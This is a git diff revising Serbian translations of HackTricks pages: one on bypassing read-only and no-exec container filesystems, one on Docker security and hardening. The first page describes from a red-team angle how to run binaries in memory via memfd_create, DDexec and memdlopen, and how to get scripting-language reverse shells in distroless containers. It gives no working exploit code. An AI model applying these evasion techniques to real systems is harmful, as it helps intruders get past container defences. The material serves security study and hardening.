@@ -8,28 +8,28 @@ Drugi načini podrške HackTricks-u: * Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-
+
-Ako ste zainteresovani za **hakersku karijeru** i hakovanje onoga što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_). +Ako vas zanima **hakerska karijera** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje pisanog i govornog poljskog jezika_). {% embed url="https://www.stmcyber.com/careers" %} -## Video snimci +## Video zapisi -U sledećim video snimcima možete pronaći tehnike pomenute na ovoj stranici objašnjene detaljnije: +U sledećim video zapisima možete pronaći tehnike pomenute na ovoj stranici objašnjene detaljnije: -* [**DEF CON 31 - Istraživanje manipulacije memorijom Linux-a radi prikrivanja i izbegavanja**](https://www.youtube.com/watch?v=poHirez8jk4) +* [**DEF CON 31 - Istraživanje manipulacije memorijom Linuxa za prikrivanje i izbegavanje**](https://www.youtube.com/watch?v=poHirez8jk4) * [**Skriveni upadi sa DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU) ## Scenario samo za čitanje / bez izvršavanja -Sve je češće naići na linux mašine montirane sa **zaštitom fajl sistema samo za čitanje (ro)**, posebno u kontejnerima. To je zato što je pokretanje kontejnera sa fajl sistemom samo za čitanje jednostavno postavljanjem **`readOnlyRootFilesystem: true`** u `securitycontext`: +Sve je češće naići na linux mašine montirane sa **zaštitom fajl sistema samo za čitanje (ro)**, posebno u kontejnerima. To je zato što je pokretanje kontejnera sa ro fajl sistemom jednostavno postavljanjem **`readOnlyRootFilesystem: true`** u `securitycontext`:
apiVersion: v1
 kind: Pod
@@ -44,37 +44,37 @@ securityContext:
     command: ["sh", "-c", "while true; do sleep 1000; done"]
 
-Međutim, čak i ako je fajl sistem montiran kao samo za čitanje, **`/dev/shm`** će i dalje biti upisiv, tako da nije tačno da ne možemo ništa pisati na disk. Međutim, ovaj folder će biti **montiran sa zaštitom bez izvršavanja**, pa ako preuzmete binarni fajl ovde, **nećete moći da ga izvršite**. +Međutim, čak i ako je fajl sistem montiran kao ro, **`/dev/shm`** će i dalje biti upisiv, tako da nije tačno da ne možemo pisati ništa na disk. Međutim, ovaj folder će biti **montiran sa zaštitom bez izvršavanja**, pa ako preuzmete binarni fajl ovde, **nećete moći da ga izvršite**. {% hint style="warning" %} -Sa perspektive crvenog tima, ovo otežava **preuzimanje i izvršavanje** binarnih fajlova koji već nisu u sistemu (kao što su backdoor-ovi ili enumeratori poput `kubectl`). +Sa perspektive crvenog tima, ovo otežava **preuzimanje i izvršavanje** binarnih fajlova koji nisu već prisutni u sistemu (kao što su backdoor-ovi ili enumeratori poput `kubectl`). {% endhint %} -## Najlakše zaobilaženje: Skripte +## Najlakši način zaobilaženja: Skripte Imajte na umu da sam spomenuo binarne fajlove, možete **izvršiti bilo koju skriptu** sve dok je interpretator unutar mašine, poput **shell skripte** ako je `sh` prisutan ili **python skripte** ako je instaliran `python`. Međutim, ovo nije dovoljno da biste izvršili vaš binarni backdoor ili druge binarne alate koje možda treba pokrenuti. -## Zaobilazak memorije +## Bypass memorije -Ako želite da izvršite binarni fajl, ali fajl sistem to ne dozvoljava, najbolji način je da to uradite **iz memorije**, jer se **zaštite ne primenjuju tamo**. +Ako želite da izvršite binarni fajl, ali fajl sistem to ne dozvoljava, najbolji način je **izvršiti ga iz memorije**, jer se **zaštite ne primenjuju tamo**. -### FD + zaobilazak exec syscall-a +### FD + exec syscall bypass -Ako imate moćne skriptne motore unutar mašine, poput **Python-a**, **Perl-a** ili **Ruby-ja**, možete preuzeti binarni fajl za izvršavanje iz memorije, sačuvati ga u deskriptoru fajla u memoriji (`create_memfd` syscall), što neće biti zaštićeno tim zaštitama, a zatim pozvati **`exec` syscall** navodeći **fd kao fajl za izvršavanje**. +Ako imate moćne skriptne motore unutar mašine, poput **Python-a**, **Perla** ili **Ruby-ja**, možete preuzeti binarni fajl za izvršavanje iz memorije, sačuvati ga u deskriptoru fajla u memoriji (`create_memfd` syscall), što neće biti zaštićeno tim zaštitama, a zatim pozvati **`exec` syscall** navodeći **fd kao fajl za izvršavanje**. -Za ovo možete lako koristiti projekat [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Možete mu proslediti binarni fajl i on će generisati skriptu na naznačenom jeziku sa **binarnim fajlom kompresovanim i b64 enkodiranim** sa instrukcijama za **dekodiranje i dekompresovanje** u **fd** kreiran pozivom `create_memfd` syscall-a i poziv **exec** syscall-a za pokretanje. +Za ovo možete lako koristiti projekat [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Možete mu proslediti binarni fajl i on će generisati skriptu na naznačenom jeziku sa **binarnim fajlom kompresovanim i b64 enkodiranim** sa instrukcijama za **dekodiranje i dekompresovanje** u **fd** kreiran pozivom `create_memfd` syscall i poziv **exec** syscall-a za pokretanje. {% hint style="warning" %} -Ovo ne funkcioniše u drugim skriptnim jezicima poput PHP-a ili Node-a jer nemaju **podrazumevan način pozivanja sirovih syscalls** iz skripte, tako da nije moguće pozvati `create_memfd` da kreirate **memorijski fd** za čuvanje binarnog fajla. +Ovo ne funkcioniše u drugim skriptnim jezicima poput PHP-a ili Node-a jer nemaju **podrazumevan način pozivanja sirovih syscalls** iz skripte, pa nije moguće pozvati `create_memfd` da kreirate **memorijski fd** za čuvanje binarnog fajla. Osim toga, kreiranje **regularnog fd** sa fajlom u `/dev/shm` neće raditi, jer vam neće biti dozvoljeno da ga pokrenete zbog primene **zaštite bez izvršavanja**. {% endhint %} ### DDexec / EverythingExec -[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) je tehnika koja vam omogućava da **modifikujete memoriju vašeg sopstvenog procesa** tako što ćete prepisati njegov **`/proc/self/mem`**. +[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) je tehnika koja vam omogućava da **modifikujete memoriju vašeg sopstvenog procesa** tako što ćete prebrisati njegov **`/proc/self/mem`**. Stoga, **kontrolišući asemblerski kod** koji se izvršava od strane procesa, možete napisati **shellcode** i "mutirati" proces da **izvrši bilo koji proizvoljni kod**. @@ -101,7 +101,7 @@ Možete pronaći primer kako koristiti **memexec za izvršavanje binarnih fajlov Sa sličnim ciljem kao DDexec, tehnika [**memdlopen**](https://github.com/arget13/memdlopen) omogućava **jednostavniji način učitavanja binarnih fajlova** u memoriju kako bi ih kasnije izvršili. To bi čak moglo omogućiti učitavanje binarnih fajlova sa zavisnostima. -## Bypassovanje Distroless +## Bypass Distroless ### Šta je distroless @@ -117,7 +117,7 @@ U distroless kontejneru možda **nećete čak ni pronaći `sh` ili `bash`** da b Stoga, **nećete** moći dobiti **reverse shell** ili **enumerisati** sistem kao što obično radite. {% endhint %} -Međutim, ako kompromitovani kontejner pokreće na primer flask veb, tada je instaliran python, i stoga možete dobiti **Python reverse shell**. Ako pokreće node, možete dobiti Node rev šel, i isto važi za većinu bilo koje **skripting jezike**. +Međutim, ako kompromitovani kontejner pokreće na primer flask veb, tada je instaliran python, i stoga možete dobiti **Python reverse shell**. Ako pokreće node, možete dobiti Node rev shell, i isto važi za većinu bilo koje **skripting jezike**. {% hint style="success" %} Korišćenjem skriptnog jezika možete **enumerisati sistem** koristeći mogućnosti jezika. @@ -129,9 +129,9 @@ Ako ne postoje **zaštite `read-only/no-exec`** možete zloupotrebiti svoj rever Međutim, u ovakvim kontejnerima ove zaštite obično postoje, ali možete koristiti **prethodne tehnike izvršavanja u memoriji da ih zaobiđete**. {% endhint %} -Možete pronaći **primere** kako **iskoristiti neke RCE ranjivosti** da biste dobili **reverse shell-ove skriptnih jezika** i izvršili binarne fajlove iz memorije na [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE). +Možete pronaći **primere** kako **iskoristiti neke RCE ranjivosti** da biste dobili **reverse shell-ove skripting jezika** i izvršili binarne fajlove iz memorije na [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE). -
+
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_). @@ -143,7 +143,7 @@ Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **za Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite videti svoju **kompaniju reklamiranu u HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/linux-hardening/privilege-escalation/docker-security/README.md b/linux-hardening/privilege-escalation/docker-security/README.md index bc86ac38f..6d2b912c1 100644 --- a/linux-hardening/privilege-escalation/docker-security/README.md +++ b/linux-hardening/privilege-escalation/docker-security/README.md @@ -6,15 +6,15 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ @@ -46,11 +46,11 @@ Sertifikati se koriste za potvrdu identiteta servera. Za detaljne primere oba me ### Bezbednost slika kontejnera -Slike kontejnera mogu se čuvati u privatnim ili javnim repozitorijumima. Docker nudi nekoliko opcija za skladištenje slika kontejnera: +Slike kontejnera mogu se čuvati u privatnim ili javnim repozitorijumima. Docker nudi nekoliko opcija za čuvanje slika kontejnera: * [**Docker Hub**](https://hub.docker.com): Javna usluga registra od strane Dockera. * [**Docker Registry**](https://github.com/docker/distribution): Projekat otvorenog koda koji korisnicima omogućava da hostuju svoj sopstveni registar. -* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Komercijalni registar Dockera koji nudi autentifikaciju korisnika zasnovanu na ulogama i integraciju sa LDAP direktorijumskim servisima. +* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Komercijalna ponuda Dockera, sa autentifikacijom korisnika zasnovanom na ulogama i integracijom sa LDAP direktorijumskim servisima. ### Skeniranje slika @@ -60,7 +60,7 @@ Za više [**informacija pročitajte ovo**](https://docs.docker.com/engine/scan/) * **`docker scan`** -Komanda **`docker scan`** omogućava vam skeniranje postojećih Docker slika koristeći ime ili ID slike. Na primer, pokrenite sledeću komandu da skenirate sliku hello-world: +Komanda **`docker scan`** omogućava skeniranje postojećih Docker slika korišćenjem imena ili ID slike. Na primer, pokrenite sledeću komandu da skenirate sliku hello-world: ```bash docker scan hello-world @@ -94,9 +94,9 @@ Potpisivanje Docker slike osigurava sigurnost i integritet slika korišćenih u - **Docker Content Trust** koristi Notary projekat, zasnovan na The Update Framework (TUF), za upravljanje potpisivanjem slika. Za više informacija, pogledajte [Notary](https://github.com/docker/notary) i [TUF](https://theupdateframework.github.io). - Da biste aktivirali Docker content trust, postavite `export DOCKER_CONTENT_TRUST=1`. Ova funkcija je isključena po podrazumevanju u Docker verziji 1.10 i kasnijim verzijama. -- Sa ovom funkcijom omogućenom, mogu se preuzimati samo potpisane slike. Početni unos slike zahteva postavljanje lozinki za korenske i oznake ključeva, pri čemu Docker takođe podržava Yubikey za unapređenu sigurnost. Više detalja možete pronaći [ovde](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). +- Sa ovom funkcijom omogućenom, samo potpisane slike mogu biti preuzete. Početno slanje slike zahteva postavljanje lozinki za korenske i označene ključeve, pri čemu Docker takođe podržava Yubikey za unapređenu sigurnost. Više detalja možete pronaći [ovde](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). - Pokušaj preuzimanja nepotpisane slike sa omogućenim content trust-om rezultira greškom "No trust data for latest". -- Za unos slika nakon prvog, Docker traži lozinku ključa repozitorijuma za potpisivanje slike. +- Za slanje slika nakon prvog, Docker traži lozinku ključa repozitorijuma za potpisivanje slike. Za bekapovanje vaših privatnih ključeva, koristite komandu: ```bash @@ -106,10 +106,10 @@ Kada prebacujete Docker hostove, potrebno je premestiti root i repozitorijum klj *** -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -118,29 +118,29 @@ Pristupite danas:
-Rezime Funkcija Sigurnosti Kontejnera +Rezime funkcija sigurnosti kontejnera -#### Glavne Funkcije Izolacije Glavnog Procesa +**Glavne funkcije izolacije glavnog procesa** U kontejnerizovanim okruženjima, izolacija projekata i njihovih procesa je od suštinskog značaja za sigurnost i upravljanje resursima. Evo pojednostavljenog objašnjenja ključnih koncepata: -**Namespaces** +**Prostori imena (Namespaces)** -* **Svrha**: Osigurati izolaciju resursa poput procesa, mreže i fajl sistema. Posebno u Docker-u, namespaces drže procese kontejnera odvojene od domaćina i drugih kontejnera. -* **Korišćenje `unshare`**: Komanda `unshare` (ili odgovarajući sistemski poziv) se koristi za kreiranje novih namespaces, pružajući dodatni sloj izolacije. Međutim, iako Kubernetes inherentno ne blokira ovo, Docker to radi. -* **Ograničenje**: Kreiranje novih namespaces ne dozvoljava procesu da se vrati na podrazumevane namespaces domaćina. Da bi prodro u namespaces domaćina, obično bi bio potreban pristup direktorijumu `/proc` domaćina, koristeći `nsenter` za ulaz. +* **Svrha**: Osigurati izolaciju resursa poput procesa, mreže i fajl sistema. Posebno u Docker-u, prostori imena čuvaju procese kontejnera odvojene od domaćina i drugih kontejnera. +* **Korišćenje `unshare`**: Komanda `unshare` (ili odgovarajući sistemski poziv) se koristi za kreiranje novih prostora imena, pružajući dodatni sloj izolacije. Međutim, iako Kubernetes inherentno ne blokira ovo, Docker to čini. +* **Ograničenje**: Kreiranje novih prostora imena ne dozvoljava procesu da se vrati na podrazumevane prostore imena domaćina. Da bi prodro u prostore imena domaćina, obično bi bio potreban pristup direktorijumu `/proc` domaćina, koristeći `nsenter` za ulaz. -**Control Groups (CGroups)** +**Grupa Kontrola (CGroups)** * **Funkcija**: Prvenstveno se koristi za dodelu resursa među procesima. -* **Aspekt Sigurnosti**: CGroups same po sebi ne pružaju sigurnost izolacije, osim funkcije `release_agent`, koja, ako nije ispravno konfigurisana, potencijalno može biti iskorišćena za neovlašćeni pristup. +* **Aspekt sigurnosti**: Same CGroups ne nude sigurnost izolacije, osim funkcije `release_agent`, koja, ako nije ispravno konfigurisana, potencijalno može biti iskorišćena za neovlašćeni pristup. -**Odbacivanje Mogućnosti (Capability Drop)** +**Odbacivanje sposobnosti (Capability Drop)** * **Važnost**: To je ključna sigurnosna funkcija za izolaciju procesa. -* **Funkcionalnost**: Ona ograničava akcije koje root proces može izvršiti odbacivanjem određenih mogućnosti. Čak i ako proces radi sa privilegijama root-a, nedostatak neophodnih mogućnosti sprečava ga da izvršava privilegovane akcije, jer će sistemski pozivi propasti zbog nedovoljnih dozvola. +* **Funkcionalnost**: Ona ograničava akcije koje root proces može izvršiti odbacivanjem određenih sposobnosti. Čak i ako proces radi sa privilegijama root-a, nedostatak neophodnih sposobnosti sprečava ga da izvršava privilegovane akcije, jer će sistemski pozivi propasti zbog nedovoljnih dozvola. -Ovo su **preostale mogućnosti** nakon što proces odbaci ostale: +Ovo su **preostale sposobnosti** nakon što proces odbaci ostale: {% code overflow="wrap" %} ``` @@ -181,8 +181,8 @@ Za **više informacija o namespace-ovima** pogledajte sledeću stranicu: ### cgroups -Linux kernel funkcija **cgroups** omogućava mogućnost **ograničavanja resursa poput cpu, memorije, io, propusnosti mreže među** skupom procesa. Docker omogućava kreiranje kontejnera koristeći cgroup funkciju koja omogućava kontrolu resursa za određeni kontejner.\ -Sledeći je kontejner kreiran sa ograničenjem memorije korisničkog prostora na 500m, ograničenjem kernel memorije na 50m, deljenjem CPU-a na 512, blkioweight na 400. CPU deljenje je odnos koji kontroliše upotrebu CPU-a kontejnera. Ima podrazumevanu vrednost od 1024 i opseg između 0 i 1024. Ako tri kontejnera imaju isto CPU deljenje od 1024, svaki kontejner može koristiti do 33% CPU-a u slučaju sukoba resursa CPU-a. blkio-weight je odnos koji kontroliše IO kontejnera. Ima podrazumevanu vrednost od 500 i opseg između 10 i 1000. +Linux kernel funkcija **cgroups** omogućava mogućnost **ograničavanja resursa kao što su cpu, memorija, io, propusnost mreže među** skupom procesa. Docker omogućava kreiranje kontejnera koristeći cgroup funkciju koja omogućava kontrolu resursa za određeni kontejner.\ +Sledeći je kontejner kreiran sa ograničenjem memorije korisničkog prostora na 500m, ograničenjem kernel memorije na 50m, deljenjem cpu na 512, blkioweight na 400. CPU deljenje je odnos koji kontroliše upotrebu CPU-a kontejnera. Podrazumevana vrednost je 1024, a opseg je između 0 i 1024. Ako tri kontejnera imaju isto CPU deljenje od 1024, svaki kontejner može koristiti do 33% CPU-a u slučaju sukoba resursa CPU-a. blkio-weight je odnos koji kontroliše IO kontejnera. Podrazumevana vrednost je 500, a opseg je između 10 i 1000. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` @@ -202,7 +202,7 @@ Za više informacija pogledajte: Mogućnosti omogućavaju **finiju kontrolu mogućnosti koje se mogu dozvoliti** za korisnika root. Docker koristi mogućnost funkcije jezgra Linux-a da **ograniči operacije koje se mogu obaviti unutar kontejnera** bez obzira na vrstu korisnika. -Kada se pokrene docker kontejner, **proces odbacuje osetljive mogućnosti koje bi proces mogao koristiti da pobegne iz izolacije**. Ovo pokušava da osigura da proces neće moći da obavlja osetljive radnje i pobegne: +Kada se pokrene docker kontejner, **proces odbacuje osetljive mogućnosti koje bi proces mogao koristiti za bekstvo iz izolacije**. Ovo pokušava da osigura da proces neće moći da obavlja osetljive radnje i bekstva: {% content-ref url="../linux-capabilities.md" %} [linux-capabilities.md](../linux-capabilities.md) @@ -242,10 +242,10 @@ Ovaj mehanizam osigurava da čak i ako je proces unutar kontejnera kompromitovan U Docker-u, autorizacioni dodatak igra ključnu ulogu u sigurnosti odlučujući da li da dozvoli ili blokira zahteve ka Docker demonu. Ova odluka se donosi ispitivanjem dva ključna konteksta: -* **Kontekst autentifikacije**: Ovo uključuje sveobuhvatne informacije o korisniku, kao što su ko su i kako su se autentifikovali. +* **Kontekst autentifikacije**: Ovde se nalaze sveobuhvatne informacije o korisniku, kao što su ko su i kako su se autentifikovali. * **Kontekst komande**: Ovaj sadrži sve relevantne podatke vezane za zahtev koji se pravi. -Ovi konteksti pomažu da se osigura da se obrađuju samo legitimni zahtevi od autentifikovanih korisnika, poboljšavajući sigurnost Docker operacija. +Ovi konteksti pomažu da se osigura da se obrađuju samo legitimni zahtevi od autentifikovanih korisnika, unapređujući sigurnost Docker operacija. {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) @@ -281,7 +281,7 @@ Na sledećoj stranici možete saznati **šta podrazumeva zastavica `--privileged #### no-new-privileges -Ako pokrećete kontejner gde napadač uspe da dobije pristup kao korisnik sa niskim privilegijama. Ako imate **pogrešno konfigurisan suid binarni fajl**, napadač može zloupotrebiti to i **povećati privilegije unutar** kontejnera. Što mu može omogućiti da pobegne iz njega. +Ako pokrećete kontejner gde napadač uspe da pristupi kao korisnik sa niskim privilegijama. Ako imate **pogrešno konfigurisan suid binarni fajl**, napadač može zloupotrebiti to i **povećati privilegije unutar** kontejnera. Što mu može omogućiti da pobegne iz njega. Pokretanje kontejnera sa opcijom **`no-new-privileges`** omogućiće **sprečavanje ovakvog povećanja privilegija**. ``` @@ -306,7 +306,7 @@ Za više **`--security-opt`** opcija proverite: [https://docs.docker.com/engine/ ## Ostale bezbednosne razmatranja -### Upravljanje Tajnama: Najbolje Prakse +### Upravljanje tajnama: Najbolje prakse Važno je izbegavati ugradnju tajni direktno u Docker slike ili korišćenje okružnih promenljivih, jer ovi metodi izlažu vaše osetljive informacije svakome ko ima pristup kontejneru putem komandi poput `docker inspect` ili `exec`. @@ -337,9 +337,9 @@ secrets: my_secret: file: ./my_secret_file.txt ``` -Ova konfiguracija omogućava korišćenje tajni prilikom pokretanja servisa pomoću Docker Compose-a. +Ova konfiguracija omogućava korišćenje tajni prilikom pokretanja usluga pomoću Docker Compose-a. -U Kubernetes okruženjima, tajne su podržane na nivou platforme i mogu se dodatno upravljati alatima poput [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Upravljanje tajnama u Kubernetes-u putem Role Based Access Controls (RBAC) poboljšava sigurnost upravljanja tajnama, slično kao u Docker Enterprise. +U Kubernetes okruženjima, tajne su podržane na nivou platforme i mogu se dalje upravljati alatima poput [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Upravljanje tajnama u Kubernetes-u putem Role Based Access Controls (RBAC) poboljšava sigurnost upravljanja tajnama, slično kao u Docker Enterprise-u. ### gVisor @@ -349,7 +349,7 @@ U Kubernetes okruženjima, tajne su podržane na nivou platforme i mogu se dodat ### Kata Containers -**Kata Containers** je zajednica otvorenog koda koja radi na izgradnji sigurnog runtime-a kontejnera sa laganim virtuelnim mašinama koje se ponašaju i izvode kao kontejneri, ali pružaju **jaču izolaciju radnog opterećenja korišćenjem tehnologije hardverske virtualizacije** kao drugog sloja odbrane. +**Kata Containers** je zajednica otvorenog koda koja radi na izgradnji sigurnog runtime-a kontejnera sa lakim virtuelnim mašinama koje se ponašaju i izvode kao kontejneri, ali pružaju **jaču izolaciju radnog opterećenja korišćenjem tehnologije hardverske virtualizacije** kao drugog sloja odbrane. {% embed url="https://katacontainers.io/" %} @@ -363,12 +363,12 @@ U Kubernetes okruženjima, tajne su podržane na nivou platforme i mogu se dodat * **Prilagodite** profile [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ili SELinux)** da ograniče radnje i sistemske pozive dostupne kontejneru na minimum potreban. * **Koristite** [**zvanične Docker slike**](https://docs.docker.com/docker-hub/official\_images/) **i zahtevajte potpise** ili izgradite svoje zasnovane na njima. Ne nasleđujte ili ne koristite [slike sa zadnjim vratima](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Takođe čuvajte root ključeve, lozinke na sigurnom mestu. Docker ima planove za upravljanje ključevima sa UCP-om. * **Redovno** **ponovo izgradite** svoje slike da **primenite sigurnosne zakrpe na hostu i slikama.** -* Mudro upravljajte **svojim tajnama** kako bi bilo teško napadaču da im pristupi. +* Mudro upravljajte **svojim tajnama** tako da je teško napadaču da im pristupi. * Ako **izlažete docker daemon koristite HTTPS** sa autentifikacijom klijenta i servera. * U svom Dockerfile-u, **favorizujte COPY umesto ADD**. ADD automatski raspakuje zipovane fajlove i može kopirati fajlove sa URL-ova. COPY nema ove mogućnosti. Kad god je moguće, izbegavajte korišćenje ADD kako ne biste bili podložni napadima putem udaljenih URL-ova i Zip fajlova. * Imajte **odvojene kontejnere za svaku mikro-s**ervisu * **Ne stavljajte ssh** unutar kontejnera, “docker exec” se može koristiti za ssh ka kontejneru. -* Imajte **manje** slike kontejnera +* Imajte **manje** slike **kontejnera** ## Bekstvo iz Docker-a / Eskalacija privilegija @@ -378,15 +378,15 @@ Ako ste **unutar Docker kontejnera** ili imate pristup korisniku u **docker grup [docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/) {% endcontent-ref %} -## Bajpasovanje Docker autentifikacionog dodatka +## Bypassovanje Docker Authentication Plugin-a -Ako imate pristup docker socket-u ili pristup korisniku u **docker grupi ali vaše akcije su ograničene autentifikacionim dodatkom za docker**, proverite da li ga možete **bajpasovati:** +Ako imate pristup docker socket-u ili pristup korisniku u **docker grupi ali vaše akcije su ograničene Docker auth plugin-om**, proverite da li ga možete **bypassovati:** {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) {% endcontent-ref %} -## Ojačavanje Docker-a +## Jačanje Docker-a * Alat [**docker-bench-security**](https://github.com/docker/docker-bench-security) je skripta koja proverava desetine uobičajenih najboljih praksi oko implementacije Docker kontejnera u produkciji. Testovi su svi automatizovani i zasnovani na [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ Morate pokrenuti alat sa hosta koji pokreće Docker ili iz kontejnera sa dovoljno privilegija. Saznajte **kako ga pokrenuti u README-u:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). @@ -407,7 +407,7 @@ Morate pokrenuti alat sa hosta koji pokreće Docker ili iz kontejnera sa dovoljn * [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) * [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ @@ -420,8 +420,8 @@ Pristupite danas: Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index 319465ac7..e3898de46 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ 